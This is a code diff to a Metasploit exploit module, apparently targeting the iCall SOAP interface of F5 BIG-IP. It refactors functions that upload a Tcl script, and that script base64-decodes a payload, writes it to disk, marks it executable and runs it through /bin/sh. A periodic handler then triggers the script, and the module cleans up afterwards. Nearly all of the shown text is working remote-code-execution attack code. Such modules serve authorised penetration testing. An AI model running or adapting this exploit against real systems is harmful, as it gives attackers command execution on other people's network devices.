@@ -105,56 +105,51 @@ def send_soap_request(pay)
105
105
'username' => datastore [ 'USERNAME' ] ,
106
106
'password' => datastore [ 'PASSWORD' ]
107
107
)
108
- if res && res . code == 200
108
+ if res
109
109
return res
110
- elsif res
111
- print_error ( "HTTP/#{ res . proto } #{ res . code } #{ res . message } " )
112
110
else
113
111
vprint_error ( 'No response' )
114
112
end
115
113
false
116
114
end
117
115
118
- # cmd is valid tcl script
119
- def create_script ( cmd )
120
- scriptname = Rex ::Text . rand_text_alpha_lower ( 5 )
116
+ def create_script ( name , cmd )
121
117
create_xml = build_xml do |xml |
122
118
xml [ 'scr' ] . create ( SOAPENV_ENCODINGSTYLE ) do
123
119
xml . scripts ( STRING_ATTRS ) do
124
120
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
125
- xml . item scriptname
121
+ xml . item name
126
122
end
127
123
xml . definitions ( STRING_ATTRS ) do
128
124
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
129
125
xml . item cmd
130
126
end
131
127
end
132
128
end
133
- send_soap_request ( create_xml ) ? scriptname : false
129
+ send_soap_request ( create_xml )
134
130
end
135
131
136
- def delete_script ( scriptname )
132
+ def delete_script ( script_name )
137
133
delete_xml = build_xml do |xml |
138
134
xml [ 'scr' ] . delete_script ( SOAPENV_ENCODINGSTYLE ) do
139
135
xml . scripts ( STRING_ATTRS ) do
140
136
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
141
- xml . item scriptname
137
+ xml . item script_name
142
138
end
143
139
end
144
140
end
145
141
send_soap_request ( delete_xml )
146
142
end
147
143
148
- def script_exists ( scriptname )
144
+ def script_exists ( script_name )
149
145
exists_xml = build_xml do |xml |
150
146
xml [ 'scr' ] . get_list ( SOAPENV_ENCODINGSTYLE )
151
147
end
152
148
res = send_soap_request ( exists_xml )
153
- res && res . code == 200 && res . body =~ Regexp . new ( "/Common/#{ scriptname } " )
149
+ res && res . code == 200 && res . body =~ Regexp . new ( "/Common/#{ script_name } " )
154
150
end
155
151
156
- def create_handler ( scriptname , interval )
157
- handler_name = Rex ::Text . rand_text_alpha_lower ( 5 )
152
+ def create_handler ( handler_name , script_name , interval )
158
153
handler_xml = build_xml do |xml |
159
154
xml [ 'per' ] . create ( SOAPENV_ENCODINGSTYLE ) do
160
155
xml . handlers ( STRING_ATTRS ) do
@@ -163,15 +158,16 @@ def create_handler(scriptname, interval)
163
158
end
164
159
xml . scripts ( STRING_ATTRS ) do
165
160
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
166
- xml . item scriptname
161
+ xml . item script_name
167
162
end
168
163
xml . intervals ( LONG_ATTRS ) do
169
164
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
170
165
xml . item interval
171
166
end
172
167
end
173
168
end
174
- send_soap_request ( handler_xml ) ? handler_name : false
169
+ res = send_soap_request ( handler_xml )
170
+ res && res . code == 200 && res . body =~ Regexp . new ( "iCall/PeriodicHandler" )
175
171
end
176
172
177
173
def delete_handler ( handler_name )
@@ -201,26 +197,7 @@ def check
201
197
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
202
198
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
203
199
# any other response is considered not vulnerable
204
- check_xml = build_xml do |xml |
205
- xml [ 'scr' ] . create ( SOAPENV_ENCODINGSTYLE ) do
206
- xml . scripts ( STRING_ATTRS ) do
207
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
208
- xml . item
209
- end
210
- xml . definitions ( STRING_ATTRS ) do
211
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
212
- xml . item
213
- end
214
- end
215
- end
216
-
217
- res = send_request_cgi (
218
- 'uri' => normalize_uri ( target_uri . path ) ,
219
- 'method' => 'POST' ,
220
- 'data' => check_xml ,
221
- 'username' => datastore [ 'USERNAME' ] ,
222
- 'password' => datastore [ 'PASSWORD' ]
223
- )
200
+ res = create_script ( '' , '' )
224
201
if res && res . code == 500 && res . body =~ /path is empty/
225
202
return Exploit ::CheckCode ::Appears
226
203
elsif res && res . code == 401
@@ -233,8 +210,6 @@ def check
233
210
234
211
def exploit
235
212
# phase 1: create iCall script to create file with payload, execute it and remove it.
236
- register_file_for_cleanup @payload_path
237
-
238
213
shell_cmd = %(echo #{ Rex ::Text . encode_base64 ( payload . encoded ) } |base64 --decode >#{ @payload_path } ; chmod +x #{ @payload_path } ;#{ @payload_path } )
239
214
cmd = %(if { ! [file exists #{ @payload_path } ]} { exec /bin/sh -c "#{ shell_cmd } "})
240
215
@@ -247,28 +222,32 @@ def exploit
247
222
248
223
print_status ( 'Uploading payload...' )
249
224
250
- unless ( script = create_script ( cmd ) )
225
+ script_name = Rex ::Text . rand_text_alpha_lower ( 5 )
226
+ create_script_res = create_script ( script_name , cmd )
227
+ unless create_script_res && create_script_res . code == 200
251
228
print_error ( "Upload script failed" )
252
229
return false
253
230
end
254
- unless script_exists ( script )
231
+ unless script_exists ( script_name )
255
232
print_error ( "create_script() run successfully but script was not found" )
256
233
return false
257
234
end
235
+ register_file_for_cleanup @payload_path
236
+
258
237
interval = datastore [ 'INTERVAL' ]
259
238
260
239
# phase 2: create iCall Handler, that will actually run the previously created script
261
240
print_status ( 'Creating trigger...' )
262
- handler = create_handler ( script , interval )
263
- unless handler
241
+ handler_name = Rex :: Text . rand_text_alpha_lower ( 5 )
242
+ unless create_handler ( handler_name , script_name , interval )
264
243
print_error ( 'Script uploaded but create_handler() failed' )
265
244
return false
266
245
end
267
246
print_status ( 'Wait until payload is executed...' )
268
247
269
248
sleep ( interval ) # small delay, just to make sure
270
249
print_status ( 'Trying cleanup...' )
271
- if delete_handler ( handler ) && delete_script ( script )
250
+ if delete_handler ( handler_name ) && delete_script ( script_name )
272
251
print_status ( 'Cleanup finished with no errors' )
273
252
else
274
253
print_error ( 'Error while cleaning up' )
0 commit comments